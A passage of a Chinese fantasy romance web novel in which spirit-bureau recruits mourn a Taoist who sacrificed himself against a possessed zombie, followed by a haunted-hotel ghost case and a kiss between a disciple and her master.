廖荣将她们统一带到一间宽敞的玻璃会议室里,路过办公区的时候众人都东张西望地打量,傅清微也装作第一次进来,融入环境,生怕被戳破萝卜实习生的身份。 好在一楼的办公区几乎空无一人,都出外勤了,大大降低了傅清微被认出来的风险。 廖荣:“墙角有一次性纸杯和水,你们先自便,人到齐了会有领导过来给大家开会,分配岗位。” 众人:“谢谢廖干事。” 廖荣也有事在身,没空留下寒暄,点头匆匆走了。 肖灵秀等她快步走远,小声说:“看来灵管局真的缺人,咱们该不会一入职就要996吧?” 五人里唯一听得懂996的傅清微回她道:“很有可能,占科每天都在007。” 肖灵秀哀嚎:“我和她能比吗?她是铁打的,我是泥做的,糊不上墙。” 公羊荪:“……肖道友倒也不必这样说自己。” 比她们先到的还有一组人,肖灵秀负责社交,其他人坐下喝水,没一会消息就打听完了。那其实是两组人,因为各淘汰了一半,所以聚在一起像一组,龙虎山的张岭也在。 茅山的谷传音不在,以她的实力不可能不被录取,所以就她那组没到。 “谷道友不会出事了吧?”会议室里有人出声道。 “不至于吧,再怎么危险,她应该有自保的能力。茅山那么器重她,肯定给了保命法器下山。” “不好说,张岭道友都受伤了,九死一生回来的。” “希望谷道友吉人天相,平安归来。” 肖灵秀粗略打听了一下各个分组的任务,回来和几个人讲,傅清微和穆若水坐在一起,大庭广众不好明目张胆,所以她把手伸进了穆若水宽大的袖子里。 她上次无意碰过穆若水的手腕以后,就爱上了这种触感,温暖指腹轻轻抚着女人手腕内侧的光滑皮肤。 穆若水把猫定在一边,用另一只手将她的手拉了下来,扣在自己的手掌之中。 傅清微的手被捉住不让动,只能老老实实任由她把玩修长手指。 肖灵秀的话一停再停,几人的目光也不断地飘过二人藏在袖子里捏来捏去的手。 ……其实可以在外面玩的。 在场没有人不知道你们俩的关系。 见二人终于停下,肖灵秀深呼吸了一口气,说:“张岭那个队伍和我们遇到了差不多的情况,他队伍配置没我们高,遭遇的妖怪也没那么难缠,有惊无险。其他两组的任务比较平常……” 上午十一点,谷传音推开会议室的玻璃门,身后还有两个人,是她们组考核通过的同伴。 同时她带回来一个让众人意外的消息。 赵阳夏死了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 90-100 第91章 赵阳夏是谁? 有生性孤僻、不认人的可能都不记得他是谁了, 比如龙璇玑,目中无人的穆观主。 记得他名字的人里,也有人和脸对不上号, 似乎是一个年纪比较大的男修士, 三十多了, 普通门派,普通资质。 傅清微应该是在场除了他的队友以外记得最清楚的几个人之一。 在1V1的对抗赛里, 她和赵阳夏交过手, 从他身上赢了一积分,转天最后一场比赛, 赵道友因病请假缺席。 他的面孔有些模糊, 印象是国字脸,穿一身玄色道袍,武器是长剑, 除此以外, 傅清微也记不起来了。 但是作为本次团体考核唯一牺牲的人,赵阳夏的死亡还是让众人惊讶并唏嘘。 有人在一片静默里出声问道:“赵道友是怎么离开的?” 最晚抵达的谷传音沉默不语,其他两位同伴则神情悲怆, 眼圈微红。 肖灵秀倒了两杯水过来。 两人接了水,其中一名坤道哽咽着说:“赵道友他……” 会议室的玻璃门被从外面推开,一名三十左右的女性走了进来,手里拿着一个黑色笔记本电脑, 自我介绍姓申屠,职位是调查三处的副处长。 “人到齐了就开会吧。”申屠副处长率先在首位坐下, 打开了笔记本。 众人连忙止住话头, 自己自由自发找位置坐下。 张岭理所当然地选了下首第一的位次入座,其他人也不会不识趣地和他抢, 他对面那个位置不用说,是谷传音的。 嗯?他对面怎么空着? 张岭也望着对面的空座瞠目。 谷传音就近入座,垂眸看向实木黑色桌面,并没有像往常一样争强好胜,和龙虎山分庭抗礼,独占一二。 众人用目光拥护穆若水入座,穆若水走到下首,忽然把自己的徒儿拉了过去,自己在她身边坐下。 傅清微:“……” 她何德何能。 申屠副处长抬起眼帘,环顾在座十几个年轻人的位次,深色瞳孔里没有任何主观偏向,一手按在桌面,道:“想必大家都好奇彼此遭遇了什么,现在请各组选一个人上来详述你们的任务经过。五分钟时间准备。” 傅清微这组肯定是要派肖灵秀的,她拿出手机开始在备忘录打草稿。 五分钟后她第一个上台,早讲完早咸鱼。 之后是龙虎山的张岭,下巴和脖颈之间的角度永远大于九十度。 平平无奇的第三组和第四组任务。 最后是谷传音。 整组通过考核的是二女一男,女生是道士,男的是散修,寡言少语。本来女生要上来讲,但她捧着水杯坐在下面就眼圈红红的,谷传音拍了拍她的肩膀,沉声说:“我来吧。” 背着桃木剑,一身黄色道袍的茅山坤道上了台。 申屠副处长踩着转椅往后滑,把前方所有的空间都让给了谷传音。 谷传音站在众人面前,轻轻地呼吸了一口气,才说:“大家好,我们一组共五个人,分别是太乙派赵阳夏,长春宫遂宁,散修陶涂,天庆观江万年,和我,茅山派谷传音。” “我们接到的任务是……” 谷传音一行五人是去得最远的,不在鹤市,甚至不在郊区,所以也回来得最晚。 西南地形丰富,盆地山水,连绵不绝。鹤市再往西百里,有一个靠山的村寨,寨子里离奇地出现了僵尸,已经接连咬死了好几个人,寨里人心惶惶,一到夜晚闭门不出,小儿止啼。 辖区当地的警方接到报案,法医鉴定伤口非野兽,上峰将案件移交给灵管局。 谷传音出身茅山,虽然不像电影里的茅山道士那样专克僵尸,但影视并非空穴来风,茅山道术确实在对付僵尸上有独到之法。于是由谷传音带队,专业对口,一行五人深入村寨。 僵尸的形成,有人说是刚死的人尸变,也有说法是久葬不腐,在棺材里吸收日月精华,逐渐演变成有道行的僵尸,回到阳间作乱。前者似怪,后者更偏向妖的范畴,而后者按道行深浅,又分游尸、伏尸、不化骨。 具体究竟是什么,得她们探查了才知道。 入住村寨的第一晚,村民门户紧闭,谷传音几人在村子里游荡,分头去找僵尸的身影。 那只僵尸每每夜间作乱,寨子不大,很快便被她们正面遭遇,那只僵尸见到人不躲,跳跃速度极快,已经跨过了初级的红僵和白僵形态,披散着长发,赤目如火,在黑夜里散发出绿色的尸气。 绿发赤眼,通体发青,分外可怖。 当时遭遇僵尸的只有遂宁一人,绿僵和她交上了手,遂宁不敌,好在同伴及时赶到,那只绿僵趁乱逃了。 遂宁勉强从僵尸可怖的外表里辨认出他生前是个年青男子。 天亮以后,谷传音一行去山上的坟地,果然见好几座坟墓大开,棺材翻倒在地,里面空荡荡的没有尸体。 询问过寨子里的村民,她们确认了僵尸的身份,是一个横死在他乡,回祖籍安葬的男青年,死了不到一个月。 现在推崇火葬,但寨子偏远,依旧保留了土葬的传统,这才给了僵尸形成的机会。 但一个月从尸体跨越到绿僵阶段绝无可能,至少需要几十上百年,即使专门的养尸地,也只够化身行动迟缓的白僵,桃木剑一个串一个,串成糖葫芦都行。 这只新死的僵尸怎么化成的绿僵先不论,绿僵怕阳光,不会在白天行动。 谷传音几人便在白天摸排附近的地形,打算设个套入夜将僵尸给除了。 未曾想还是出了意外。 这只僵尸并非普通的绿僵,他藏在衣服里的部位有些长了白毛,已经在向毛僵过渡了。 毛僵和绿僵可谓一步之差,实力却天差地别。 毛僵身体强悍,铜皮铁骨,凡铁和凡火都伤不了它,完全态的长满白毛的毛僵,甚至可以在白天自如行走,无畏阳光。 这是尸妖,早已不在怪的名列。 谷传音的师傅小时候就跟着师祖降服过尸妖,对道行高深的茅山道士来说,都是要小心对付的。 谷传音这组实力最突出的只有她,其他三人水平和赵阳夏一样,都在中游。 五人合围一只过渡形态的毛僵,除了谷传音的火符和桃木剑偶尔能伤到它,其余人的攻击收效甚微,它行动又灵活,跳起来超过一个人的高度,滑不留手,抓都抓不到。 寨子里的公鸡打鸣了,虽处黑夜但天光即将破晓,毛僵打伤了散修陶涂,扭头往山上奔去。 围攻的几人都受了轻伤,其中江万年的伤最重,几人没有丝毫犹豫,追着毛僵纵跳的身影,一头扎入了山里。 棺材白天被几人让村民收起来了,它白天不会进棺材,肯定躲藏在某个山洞里避光。 毛僵实力强悍,众人没有再分头行动,而是一起去搜查。 赵阳夏就是这时候感到不对劲的。 他扶着山洞边缘湿润的石头,甩了甩自己的脑袋,前方队友的身影变成了重影。 等他再恢复意识的时候,队友已走出好长一段距离。 遂宁回头喊他:“赵道友,你怎么了?是不是伤得太重了?” “我没事。”赵阳夏“听见”自己稳重的回答,昏暗的山洞里隐匿的半张唇角勾起。 赵阳夏这几天老是出现忘事的情况,他以为自己是生病了或者撞小鬼,还给自己配了服药。可从未像今天这样,他明明没开口,却听到自己的声音,明明没有笑,却感觉自己一直在笑。 那种得意的、危险的狡诈,伺机收割同伴生命的心思,被他窥视得清清楚楚。 但他却控制不了自己的行为。 他的……身体…… 赵阳夏的意识跟着陷入一片黑暗。 “赵阳夏”快步赶了上来,走在谷传音的后面,和三人同行。 谷传音皱了皱眉,回头看向身后几人,四张面孔都未察觉到异常。 又找了一个山洞,成功地发现了毛僵的踪迹,谷传音退出来在洞口多画了些火符,毛僵不怕凡火,她的火符却很有效,遂宁打电话让村民送来火油,荔枝柴、桃木、柳木、柏木等驱鬼镇邪的燃料,有什么准备什么。 众人打算用火攻,将毛僵烧死在里面。 一切就绪,五人进了山洞,就在快接近毛僵的藏身之地时,赵阳夏在山洞里走着,脚步传来轻轻的回音,忽然问谷传音:“谷道友的火符外门能用吗?” 谷传音一愣:“可以,扔出去或者贴上去都行,只是不知道本门法诀的话,威力一般。” 而且他没修过符箓的话,很难掷准,想近身贴僵尸身上更难。 赵阳夏说:“能不能也给我两张?” 谷传音从一沓黄符里抽了三张给他。 赵阳夏说:“谢谢。” 谷传音心头莫名地动了一下,从自然光的山洞里看这位比她长了十几岁的赵道友,青年将符箓妥帖收入玄色道袍的袖中,唇角含着和煦温暖的笑容。 她和赵阳夏认识了好几天,赵道友平时寡言,性格稳重,很少有这种笑容出现。 好像一切都要结束了的……解脱? 一语成谶。 毛僵选择藏身的这个山洞湿润,岩壁都是水,她们准备的火油浸过的柴枝火势烧不起来。而且毛僵又不傻,站在原地不躲等她们来烧,奔波了一夜的五人身上带伤,战斗力折损。 僵尸在山洞飞跃来去,赵阳夏等人跟着飞檐走壁,剑光符影,土石纷纷滑落。 要不是外面有光,它早就逃之夭夭。 它起初想逃,白天逃不了,被几人逼得凶性大发,攻势迅猛,一拳一掌地打去,山洞里地动山摇。 就在毛僵伸手要取走一名同伴性命时,赵阳夏扑上去抱住了僵尸,三道符火在瞬间点燃。 毛僵之所以这么难对付,还有一个原因是尸毒,一旦被它的指甲抓伤皮肉,如果不及时拔除尸毒,就会变成僵尸。 所以几人近身时束手束脚。 毛僵的长指甲插入赵阳夏的肩膀,他痛叫一声,死死地箍住它不放,唤醒仍在震惊的同伴:“快烧啊——趁现在!” 符火从僵尸燃烧的后背蔓延到了赵阳夏的道袍,火焰舔舐上来,他用肉身延续了这场火势。 “快烧!!!”赵阳夏几乎是求她们。 “我已经不是我了!!!” 毛僵发了狂,锋利的指甲在赵阳夏后背戳了无数个血洞,他的手臂一动不动,拼命地绞住。 被他短暂清醒暂时赶到识海的黑雾仿佛也被烈火包围。 “你疯了!” 赵阳夏嘴边全是鲜血,恳求地看着四位同伴,谷传音忍住鼻酸,下令道:“烧——” 她接连几道火符掷过来,赵阳夏抱着僵尸转了个身,全都打中了它的后背,也有的在挣扎中打在了赵阳夏的肩膀和胳膊,火势迅猛地蹿起来。 赵阳夏抱着僵尸一起,就像燃烧的两个火人。 另一边用荔枝柴和桃木围起来的火圈也烧了起来,连成一片火海。 “请转告我的师父。”赵阳夏口吐鲜血,趴在僵尸的肩头紧紧不能分开,上半身血肉模糊,抓伤和烧伤面目全非。 他喊出这句话,用尽最后一丝力气,纵身挟毛僵一起跳进了火海。 “太乙派赵阳夏,绝不为师门蒙羞——” 一缕黑雾从他身死后便想逃窜出来,但火焰熊熊,并非凡火,它只能不甘地凄厉叫了一声,随着一切烟消云散。 …… 谷传音低声道:“太乙派的赵阳夏道友就是这样牺牲的,如果不是他,当时我们都会有性命危险。我们会永远怀念他。” 申屠副处长在谷传音讲完以后,播放了一段影像。 团队考核的队员里随身携带了录像装置,以备综合考评,虽然没有收录声音,但赵阳夏死前的场面足够震撼和悲壮。 在座众人既然决定考灵管局,就已将生死置之度外。 他们都不怕死,但赵阳夏是在清醒的情况下,和僵尸同归于尽葬身火海活活烧死的,他要有多强的意志力才能去忍受这样的痛苦。 安静的会议室里,只有众人的悲怆和沉默。 申屠副处长见惯生死,按了按自己的鼻梁,将画面按了暂停。 “看到这缕黑雾了吗?” 山洞里光线不好,但橙红色的火焰之间跃动的黑色对比鲜明,仔细看能看出来。 众人点头。 “有人知道是什么吗?” “是魔气。”龙虎山的张岭回道。 名门大派底蕴厚,消息广,世间异动龙虎山早有察觉,茅山也是一样。 肖灵秀欲言又止。 申屠副处长望了望在座的十几位新人,又有几个人回答:“是魔气。”其中包括傅清微。 申屠副处长扫了眼垂眼不惊的青袍女人,忍住了把座位让给她的冲动,道:“不错,正是魔气。” “魔气可以侵蚀人心,蛊惑妖物,令人防不胜防。几十年的和平过后,世间再次迎来异变,我们将来的很多时候都要和它们打交道,希望大家执行任务的时候务必小心,不要给魔气可乘之机。” “赵阳夏就是被魔气侵蚀了,但他找到了机会保持清醒,最终没有让魔气得逞。”代价是他的生命。 众人心情沉重。 申屠副处长道:“不过大家不用太过担忧,灵管局进门的法阵可以检测魔气,一旦有魔气混入,就会被揪出来。而且只要没有被侵蚀过深,局里会想办法替大家拔除。” “前路多艰,同舟共济。” 申屠副处长给她们下达了部门分派结果,最后按了一下电子笔,投影上出现一个三十多岁的男青年的脸,普通样貌,玄色道袍的领口十分整洁。 “这条路上牺牲的每一个同伴,我们都不会忘记。” “本次灵管局招考共录取十六人,我来念一下录取名单,分别是穆慈、谷传音、张岭、公羊荪、肖灵秀、傅清微……赵阳夏。” 申屠副处长合上笔记本站起来,说:“散会。” 她向穆若水隐晦地点头表示尊敬,率先出了会议室。 穆若水在袖袍里玩着傅清微的手,有些心神不宁,揉捏的力道重了些。 傅清微回忆着那张短暂交集的脸,没有在意。 会议室久久的安静过后,有人问道:“赵道友是哪个门派的来着?我刚刚没有听清。” 很多个人都出声回答:“他是太乙派的。” “赵阳夏道友是太乙派的!” “太乙派的赵阳夏!” 原先提问的那个人认真地说:“这次我也记住了,绝对不会忘。” 模糊的面孔变得清晰,普通人也可以是大英雄。 所有人在入职的第一天都记住了太乙派和他的名字。 他没有被魔气吞噬,坚守本心,也真正做到了没有给师门蒙羞。 屋外阳光万丈。 夜轮回,昼也在轮回。光明与黑暗相伴而生,纵使黑云堆积,终有一日会被光明驱散。 身后的脚步声追了上来。 申屠副处长回头。 一身黄色道袍的谷传音快步来到她身前,说:“副处长,能否借一步说话?” 申屠副处长颔首:“来我办公室。” 办公室里。 谷传音开门见山:“我们在村寨山上的坟地,看见好几口打开的棺材,但是只有一具僵尸,其他的尸体不见了,问村民村民们也不知道。如果是野兽啃食,至少会留下残骸,但棺材内消失得干干净净。当地警方表示荒山野岭,就算有偷盗尸体的事情发生,他们也无能为力。” 申屠副处长:“你觉得偷盗尸体是为了什么?” 谷传音嘴唇动了动,说:“我不敢肯定,只是怀疑。” “把你的怀疑说出来。” “我怀疑有人在收集新鲜的尸体……”谷传音斟酌着说出那个可怕的猜想,“把它们炼成僵尸,收归己用。” 炼尸是一种邪得不能再邪的邪术,连妖魔路过都能踩上一脚。 “说说你的依据。” 谷传音道:“我们遭遇的那只过渡状态的毛僵,死了不过一个月,已经跨越了两个阶段。我还观察过他葬的墓地,藏风聚气,不说风水宝地,但尸气流通,绝对不会无故尸变成妖。除了背后有人炼尸,我想不到别的可能。” “现在只是毛僵,我们还可以对付。若是碰上飞僵,上天入地,纵跳如飞,白日出行,不知道要酿成多大的祸患。我不认为背后的人只炼到毛僵这一步,否则为什么不把它带走?” 至于僵尸的最高级,变魃成犼,已经在仙魔之列,有通天彻地之能,人要是能炼出来,人也被杀死了。 “炼尸……”申屠副处长自言自语,看着她说,“你的怀疑很有道理,我会立刻派人去跟进。” 谷传音松了一口气:“是,副处长。” 能有后续就好。 赵道友的牺牲会有更大的价值。 谷传音走后,申屠副处长按了按自己的眉心。 魔气异动,人心难测,邪魔外道接二连三地浮出水面。 多事之秋啊。 会议室内。 穆若水站了起来。 旁边的傅清微和肖灵秀正在讨论僵尸,毕竟一个是英叔的忠实影迷,另一个博览影视剧。 要不是谷传音走了,肖灵秀非得拉她坐下说道说道,这次谷道友执行任务回来,变得一点都不盛气凌人了,看得顺眼了许多。 当然张岭还是那个鬼样子,需要社会的毒打。 傅清微:“僵尸真的都一蹦一跳地走路吗?” 肖灵秀托着下巴:“不道啊,我也没亲眼见过,要是能亲手除一只就好了。” 傅清微:“我也想。师尊,你去哪儿?” 穆若水抱着猫回头,说:“你不要去部门报到吗?有闲心在这里聊天?” 傅清微噢了一声,赶紧撤离,跟她走在一起。 龙璇玑不远不近缀在后面。 一会儿落一瓣桃花,她路过了再捡起来。 穆若水说:“你不是想知道僵尸怎么走路吗?我可以回答你。” 傅清微问:“怎么走?” 穆若水停下脚步,说:“你走几步。” 傅清微依言往前走了几步。 穆若水淡道:“就这么走的。” 傅清微一愣一愣:“真的假的?” 穆若水挑眉,轻飘飘地鼻音嗯了一声。 她们不出意外地被分在了同一个部门,调查二处,但和占英不属于同一个组。组里的科长和一线都在外勤,偌大的办公区只有两台电脑亮着,和一个人。 仅剩的那一名后勤人员看到过来的三个人,把手里的活放下。 挨个过来握她们的手。 穆若水冷脸袖手,没有伸出来的意思。 后勤女生转而笑眯眯地看向她怀里的小三花,两只手捧起猫爪,蓄谋已久地握了握。 “欢迎四位加入灵管局。” 第92章 扑通—— 傅清微被穆若水拎起来扔进了水里。 蓬莱观山下有座湖, 春日渐暖,正是练习游泳的好时候。 几只在水里嬉戏的鸭子被炮弹入水的声音惊得扑腾了起来,急忙挥舞着翅膀往水边游去。 咕噜咕噜咕噜—— 傅清微像个秤砣一样直直往下沉。 “师……”一只手在湖面短暂地伸出来, 很快没了踪影。 穆若水跳进水里, 揪着她的领子将她送上去, 脸露出了水面,傅清微紧紧地抓住她的肩膀, 挂在女人身上, 嘴巴鼻子里都是水,呛得不停地咳嗽, 眼圈通红。 穆若水:“……” 傅清微哭着说:“我要上岸。” 穆若水只好将她送上了岸。 穆若水一身湿衣贴在身上, 说:“学是你要学的,哭也是你在哭。” 傅清微偷瞄她身材曲线,收回视线:“呜呜呜。” 傅清微坐着咳了好一会儿, 把耳朵里的水倒出来, 才开口控诉她:“我还没准备好,你就扔我下去了!哪有你这样的!” 穆若水说:“你都准备十分钟了!我不扔你你猴年马月能下去。” 傅清微赌气道:“我不学了!” 师尊对她一点都不温柔! 穆若水负手后背,评价她:“本事不大, 气性不小。”随即又道,“不学就不学,跟我回山上。” 傅清微没有真的不想学,当即拉住她离开的手腕, 说:“师尊对我好凶,我只是想要奖励机制。” 穆若水淡道:“我奖励你的还不够多吗?” 自从她们和小三花一起加入灵管局以后, 傅清微作为新人, 单打独斗地执行了几次大大小小的任务——局里知道穆若水在她身边,可着劳动力压榨, 连龙璇玑都不给她派过来,好在都没遇到什么太大的危险。 龙璇玑的辅助地位太重要,又是万金油的医修,灵管局恨不得给她分身出来,每个队伍塞一个,哪管她们母女团聚。 龙璇玑在小群里每接到一个任务都要躺会儿。 今天也是和娘亲分开的一天。 【雌鹰特别行动队(5)】 龙璇玑:【[烟.jpg]】 傅清微:【@肖灵秀 又是你教的,出来挨打!】 公羊荪:【@肖灵秀 劝肖道友善良】 肖灵秀:【苍天可鉴,我没单独教她,她自己学的!!!】 龙璇玑:【心好累】 三人:【摸摸】 肖灵秀:【下次我向上级申请,能不能让你来我们队飞刀】 龙璇玑:【[烟.jpg]】 三人:【……】 龙璇玑虽可惜不能和傅清微一起执行任务,但考入灵管局是她心甘情愿的,并非只是为了寻找傅清微。对她来说,这也是一种修行。 各人有各人的前路。 而傅清微在执行任务的间隙里,也没落下给自己谋福利的机会。 话说她们俩那天晚上接过吻以后,傅清微食髓知味,每天不亲就跟少了点什么似的,她怀疑自己接吻病毒入脑。尤其一到深夜,她打完坐,两个人澡都洗好了,香香软软,躺在酒店的大床上,四目相对,双唇翕动。 不接吻还在等什么?她没有脱光衣服已经是最大的忍耐。 但是穆若水不许。 她不喜欢失控和纵欲。 连带着也不许傅清微随便亲她。 傅清微的胆子做不出强吻的事,撒娇闹着玩还行,穆若水神情一严肃起来,她就乖得像只小鹌鹑,老老实实地躺进被子里,不敢越雷池半步。 穆若水隔三差五地夜袭她,完全掌握主动权。 但傅清微不知道,只知道自己虽然没接吻,但是梦里在接吻,有时候早起还会变大,饱满挺立。 可梦哪有现实的实感,她在梦里都使不上力气,连抱住师尊拥吻都做不到,女人埋首下来,舌尖绕着圈打转,又含又咬的,她在梦里也没办法挺起上身迎合她。 总之,就是梦里潮水泛滥,不如现实真切地亲上一口。 女大想接吻想疯了。 入职的第二天,她就分到了一个任务,距离鹤市高铁一小时的邻市某宾馆闹鬼。 事情闹得挺大的,沸沸扬扬地上了本地怪谈,帖子在灵异论坛爆火,因为网络传播又短暂地破了圈,还有博流量的外地up主跑来探店录像,结果和先前的住客一样,跳楼自杀了。 论证了那句话:不作死就不会死。 up主小有名气,出发前录制了一段意气风发的视频,之后每天也会出一则视频更新,拍一拍房间,拍一拍走廊,楼梯间,等等他探访过的地方。 【等等,刚刚身后是什么东西过去了?】 【博主,千万别回头,有个白影在你后面……】 【富强民主文明和谐公正法治】 【啊啊啊啊啊啊啊】 镜头跟着弹幕转过去,阴暗的只用手机照明的楼梯间里,白影飞快地掠了过去,闪过一双血红的眼睛。 up主的手明显地抖了一下,强撑镇定道:“是红外线摄像头,什么都没有,不信你们看。” 他特意推进了镜头,给大家看楼道墙角的监控,红光一闪一闪。 【我劝up赶紧离开酒店,宁可信其有不可信其无】 【什么啊?他走了我们看什么?】 【楼上恶不恶毒啊,为了你的窥探欲害博主搭上命是吧】 【投币了,博主继续拍,我好几个朋友都在追,又恐怖又刺激】 【我是道士,真的有鬼,博主再不走的话自求多福】 【哈哈你是道士,我还是天师呢,灵异圈的博主这点就怕了的话,早点卷铺盖滚出去】 弹幕两方吵得不可开交,傅清微浏览完了他最后更新的这则直播视频,得出的结论和弹幕里的道士一样,真的有鬼。 警方给的资料里,博主是第二天凌晨四点自杀的,说明他当晚并没有听第一波人的话搬走,才遭了厄运。 傅清微住进了自杀的up主的房间。 艺高人胆大,实在不行有师尊,可以喊救命。 但穆若水得睡隔壁。 傅清微不怕鬼,但华国骨子里的传统忌讳死人,虽然四件套都换过了,她还是带着新的床上用品罩了上去。 晚上八点,穆若水看着她把床铺好,过来推自己的肩膀。 穆若水背对着她往外走到门口,慢吞吞地吐字:“赶我是吧?” 傅清微柔声哄道:“真的不是赶,你要是在这,鬼一晚都不会冒头。” “我可以收敛气息。” “真正的大佬是掩盖不住的。” “……” 穆若水进了隔壁房门,一只手撑在门框上,说:“你赶我。我记住了。” 小心眼得不行。 傅清微:“……我可以满足你一个要求,无论是什么。”姿势。 穆若水:“没意思,我想让你做什么,你本来就得做什么。” 傅清微:“那你记我一笔,将来还回来。” 穆若水想了想,也没别的办法了,今晚只能分居。 “有事记得叫我,不要让自己陷入危险。” “知道。”傅清微在她摘了口罩的脸颊亲了亲,顺势移到唇角又亲了下,擦了个边。 穆若水睁一只眼闭一只眼。 不伸舌头她就装没感觉。 “晚安,师尊。” “晚安。” 傅清微替她带上了门,回了自己的房间,藏好法器,在床头用红线系了几枚铃铛,接着躺进被窝里,早早地入睡,等着鬼上门。 谁能想到半年前,她还在家里被女鬼吓得脸色煞白,各种奇怪的响动让她不能入睡,憔悴得脸比女鬼还还可怕,现在已经面色不改,甚至引狼入室了。 傅清微年轻觉多,沾着枕头没多久便顺利入睡。 …… 她感觉到了一股夹杂着阴凉的高温,热气笼罩在天顶,她站在小巷的半边树荫下,明晃晃的天光刺得她睁不开眼。 傅清微用手在眼前挡了下,适应了光线才挪开。 她认出了这条小巷是她去年跑课题调研走的路,下了公交车以后,她从这里突然到了蓬莱观的后山。 傅清微低头掏出手机:2029年9月20日。 她回到过去了?还是在做梦? 身后传来两道轻盈迅速的脚步声,公交车上遇到的两位坤道在她面前停下,一副赶上了的庆幸。 年纪轻的那位道:“这位善信,你运势低弱,恐有遭邪之患。我这里有一张辟邪符,望你贴身佩戴。我不是骗子,不收钱的。喏,这是我的道士证,正规的。” 傅清微张了张嘴:“占科?” 占英诶了一声:“你认识我?” 傅清微:“我……” 占英仔细打量了她一番,发现自己并不认识她,但往她手里又塞了一张三角状的符箓,说:“无量寿福,结个善缘,没事可以去道观祈个福。” 她和年长的那位坤道一同离开了。 傅清微怀揣着两张辟邪符,把小巷来回走通了好几遍,也没有触发闪现的技能。 傅清微只好去跑她的调研课题,匆匆吃了午饭,接着去赶下午的动捕拍摄兼职。 为期两年的动画项目杀青,导演给了她一封杀青红包。 “小傅,你快毕业了吧,如果没有更好的去处,要不要考虑当职业动捕演员?” “不了。” 傅清微面对导演惋惜的眼神,委婉地拒绝了她的好意:“我还是想做一份比较稳定的工作。” “那好吧,时间不早了你也早点回家吧,到家记得报个平安。” “谢谢导演。” 学校的秋招已经开始了,会持续大半个学期。傅清微就读的专业就业前景目前还算可以,她在回家的地铁上打开手机短信,已经收到了新的面试通知。 傅清微隔天收拾好自己去面试,晚上回自己租的房子,继续按部就班地生活。 她打车去城外转过,蓬莱观的前山是军事训练基地,闲人不得靠近,好不容易绕到后山,她一直往上走,只是一座普通山头,连道观的檐角都没看到。 山上空气清新,鸟兽自然,唯独没有一道古朴的木门,没有那个人。 大四下学期,傅清微入职当了一名普通的程序员。 甘棠在律所苦哈哈地当律师助理,一月两千五,命比美式苦。 傅清微虽然苦,但薪水比她高,甘棠累成死狗,傅清微只好请了假自己出来旅游,入住了一家酒店。 这家酒店她似乎见过,三十平的空间,因为是尾房所以大一些,转角的玻璃弧度做成270度,床头朝里,衣柜都关好了。 她站在房间里,感觉心好空。 似乎有很重要的东西从她心里活活剜走,不见了,再也找不回来。 领导一条消息让她改代码,刚刚躺下的傅清微在心里痛骂boss一万遍,老老实实爬起来坐到桌前,打开了随身携带的笔记本电脑。 深夜两点的屏幕光映在她年轻疲惫的脸上。 入职刚一年,她感觉寿命煎去了十年。 这样活着有什么意思呢? 没多少钱,没时间,没爱好,没朋友一起,师尊也没了。 离9月20日已经过去了一年多,比她和穆若水遇到后在一起的时间还长,傅清微每天过着千篇一律的麻木生活,分不清到底现在经历的是漫长的噩梦,还是她们的相遇只是她制造出来的一场臆想。 即使那才是一场梦,她要怎么样,才能回到那个梦里。 “清微。” 一身青袍的女人站在屋子里,窗外深深浅浅的霓虹成了她的背景。 “师尊!” 傅清微又惊又喜。 穆若水伸出手心,眸子含着动人浅笑,道:“到我这里来。” “师尊……” 傅清微从桌子前站起身,听话地向她走过去。 她边走边噙上了热泪。 她好想她。 叮铃叮铃。 耳边突然隐隐约约地响起铃铛声。 傅清微依旧眼含泪光,却在心里默念起了《金光咒》,几遍之后,面前的空气如同烈火烧出来的高温熔化,扭曲,幻象一层一层地褪去。 黑暗的房间里,床头红线系着的铃铛疯狂振动,面前又哪是她仙风道骨的师尊,而是一只青面白衣的女鬼。 而她身后的窗户大开,恐怕这就是她拉着人跳楼,伪造自杀的真相。 女鬼见她识破,啸叫一声,长指甲朝她攻了过来。 傅清微飞快地咬破指尖,不退反进,剑指在女鬼额头抹了一下:“定!” 女鬼身形阻滞的几秒,傅清微已经抽出了衣柜里的桃木剑,化守为攻,女鬼唯一作为攻击武器的双手不断传来灼伤的焦味,她嘶声长啸,年轻坤道的攻势不减,将她逼进角落,剑刃横在了她的脖子上。 世间多女鬼,盖因她们生前无法发声,死后才化作厉鬼,可悲者众。 只要不是实在无药可救,傅清微都不会对生前姊妹同胞赶尽杀绝,让她们魂飞魄散,所以一直没有用符箓。 傅清微用红线将女鬼捆了,打算晚点给她念经超度,再请个阴差把人带走。 至于现在…… 她打了个电话让穆若水过来。 穆若水用备用房卡刷开了她的房门,人未至声先闻。 女人轻哼一声。 “你如今好大的面子。” 她刚一进门,就被从屋子中间奔过来的身影紧紧抱住,差点把她推出了门外。 徒儿愈发大逆不道了! 穆若水眉头一皱,本要发火,但是怀里的徒儿情绪不大对劲,她只好拥着她进来,顺手带上了房门,扫了眼地上五花大绑的女鬼,危险地眯起眼睛。 女鬼默默地把自己蜷起来。 看不见我看不见我。 傅清微埋进她的颈窝里,深深嗅闻着她的气息,带着鼻音的压抑声音简直闻者伤心:“师尊,我刚刚做了个梦。” 穆若水双手环住她的腰,问道:“什么梦?” “我梦见现在的一切才是梦。” “你是入了幻觉。” “我知道。”师尊才不会对她笑得那么温柔,除了刚拜师被夺舍的那段时间。 傅清微吸了吸鼻子,说:“可我还是难受,心里难受。” 她拉着穆若水的手放在自己胸口,说:“你感觉到了吗?” “……” 穆若水只感觉到了丰满和柔软。 她自觉为人师表不应如此,于是抽回手指,抱住她拍了拍她的背,尽可能柔声说:“没事了,为师不是在这里吗?” “我想深刻地感受师尊的存在。” “怎么才能让你感受到?” 傅清微仰起脸,图穷匕见:“我想和你接吻。” 穆若水拒绝得不是很干脆:“这……” 傅清微借着初出幻象的勇气,已经朝她吻了上来。 这个吻和她们在清醒时候接的吻都不一样,傅清微想要深入感受她的气息,所以一上来就吻得很深,穆若水张嘴放她的舌头进来,香软甜滑刚搅在一起就一发不可收拾。 梦里终究回应不及,穆若水纠缠着她的舌尖,每一次都能感受到对方主动的吸吮,热情得过分。 她的五指探入傅清微脑后的发丝,扣住她的后脑勺,傅清微也会紧紧抱住她的肩,张唇迎合,软滑不断深入搅动,恨不得一个吻就到天长地久。 接吻的激烈水声回荡在耳畔,傅清微鼻音低吟,深深地喘着气。 “唔……嗯……” 穆若水托着她的后颈,在她无力时变得更主动,勾着她的舌头到自己这边,渍渍有声。 直到…… 傅清微小力地抵了抵她的肩膀。 穆若水放开她让她伏在自己怀里呼吸。 